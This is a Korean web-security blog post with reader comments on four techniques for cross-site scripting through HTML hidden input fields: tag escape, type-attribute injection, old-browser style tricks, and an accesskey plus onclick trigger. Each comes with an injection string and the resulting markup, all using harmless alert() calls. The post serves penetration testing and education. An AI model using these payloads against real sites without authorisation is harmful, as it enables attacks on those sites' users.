앞서 간단하게 hidden 속성, 왜 hidden이 우회하기 힘든지 설명하고 각각 우회 방법에 대해 작성하였습니다.
읽으시기 전에 편한 이해를 위하여 코드 부분에 대한 설명부터 하겠습니다. (아래 양식으로 Case 별로 작성하였습니다.)
제약조건: # 우회하기 위해 필요한 조건
query: # 공격(Attack) Query
output # 결과
원문: # 사용자 입력 구간이 들어가는 곳(Default code)
# [USER INJECT] -> 공격 포인트(Attack point)
공격: # qeury 입력으로 발생한 결과(공격으로 인한 output)
hidden 속성이란?
웹은 각각의 태그와 속성으로 이루어져서 사용자에게 알아보기 좋은 웹 UI를 제공해줍니다.브라우저가 HTML을 해석하는 과정에서 hidden 속성을 만나게 되면 페이지에 노출하지 않게 됩니다.
다만 이 노출은 display:none과 약간 다른 성격을 가지는데요. display:none은 페이지에 보이지 않게하지만 hidden 속성은 존재 자체를 없애버립니다 =_=
그래서.. hidden이 들어간 태그에 대해서는 onmouseover, onclick, onfocus 등의 속성을 이용한 공격이 불가하게 되지요.
Hidden XSS 1 - 태그 탈출하기(Escape input tag)
가장 오랜된 방법이며 대체로 불가능한 경우가 많은 방법입니다.단순히 hiddend을 나가기 위한 방법만이 아닌 XSS를 하기 위해서 많이들 사용하는 방법이며
quote('), double qoute(") 를 통해 삽입 구간이후로 나가 > < 등 특수문자로 tag 밖으로 나갑니다.
제약조건: 특수문자 우회(" ' < >)
query: "><img src="z" onerror="alert(45)">
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value=""><img src="z" onerror="alert(45)">">
이 방법은 각 속성을 나갈 수 있는 더블퀘테이션, 쿼테이션이 필요하며 < > 와 같이 태그 문자열도 들어가서
많은 취약 조건이 필요합니다.
Hidden XSS 2 - type 속성 변조하기(Tampering type attribute)
이 방법은 사용자 입력이 type 속성보다 앞이 있을 때 가능합니다.원래 선언된 type보다 먼저 type을 선언하여 hidden을 풀어서 xss를 수행합니다.
제약조건: user input이 type 속성보다 앞에 선언되어야 함 / 특수문자 우회(" or ')
query: " type="text" onfocus="alert(45)" autofocus a="
output
원문: <input name="xsstest" value="[USER INJECT]" type="hidden">
공격: <input name="xsstest" value="" type="text" onfocus="alert(45)" autofocus a="" type="hidden">
개발자의 간단한 실수(왜 type을 뒤에 썼을지..)로 인해서 우회가 가능한 case 이지요.Hidden XSS 3 - 스타일 속성으로 태그 끌어내기(sytle="display:block")
세번째 방법은 구버전의 IE(6,7,8)과 Firefox 구버전에서 가능한 방법입니다.아직 아주 구버전의 소프트웨어를 사용하는 사용자가 존재하기 때문에 같이 언급하면 좋을 것 같아 작성하였습니다.
제약조건: 패치 이전 브라우저(IE6/7/8, firefox 구버전) , 특수문자 우회(' or ")
query: " onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value="" onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="">
예전에 가능했던 방법이며 현재는 브라우저사에서 sytle보다 hidden을 우선으로 주었기 때문에 불가능합니다.Hidden XSS 4 - accesskey + onclick을 통한 우회
작년 11월(2015)에 PortSwigger(burp 벤더)에서 블로그로 포스팅한 방법입니다.바로 accesskey 속성을 이용한 우회방법이죠.
제약조건: 사용자가 XSS를 트리거해야함. (key input)
query: hwul" accesskey="X" onclick="alert(45)" a="
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value="hwul" accesskey="X" onclick="alert(45)" a=" ">
이 방법은 키 입력을 이용한 XSS 방법입니다. 저도 생각도 못한 속성으로 풀어나갔네요.
물론 직접 영향력을 만들기는 약간 어렵습니다. (사용자가 키 입력으로 트리거 해야하기 때문에)
Vulnerability Trigger
Firefox - linux/windows : ALT+SHIFT+X
OS X - CTRL+ALT+X
사용자에게 입력을 유도할 수 있다면 좋은 우회방법이겠지요.
정리
앞에 3가지 방법은 hidden을 우회하기 위해서 많이 찾아보셨을 것 같습니다.4번은 트리거 조건은 약간 있지만 우회가 가능하고 이것에 대해서 따로 패치도 없었기 때문에
진단/모의해킹 시 나름 유용하게 사용될 수 있을 것 같네요.
항상 가까운곳에 해답이 있다고 생각합니다. 찾다보면 자기만의 재미있는 우회 방법이 생겨나지요 :)
Reference
http://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.htmlHAHWULSecurity engineer, Gopher and H4cker! |
방법4와 같이 input type="hidden" name="xsstest" value="hwul" accesskey="X" onclick="alert(45)" a=" "적용은 되는데 키를 눌렀을때 반응이 없네요 ㅠㅠ 타입을 버튼으로 바꾸니까 되고 ㅠㅠ (크롬,익스플로어 기준입니당)
ReplyDelete크롬이랑 IE에선 영향 없었던걸로 기억나네요 ㅜㅜ
Delete파폭이나 사파리에서 테스트해보심이 어떨까 합니다.
Firefox - linux/windows : ALT+SHIFT+X
OS X - Command + Alt(아니면 Ctrl..) + X
조합입니다. 참고 부탁드려요~
OS X : option + ctrl + x 형태로 되네요..
Delete[ 참고 ]
https://www.hahwul.com/2016/12/web-hacking-html-accesskey-and-hidden.html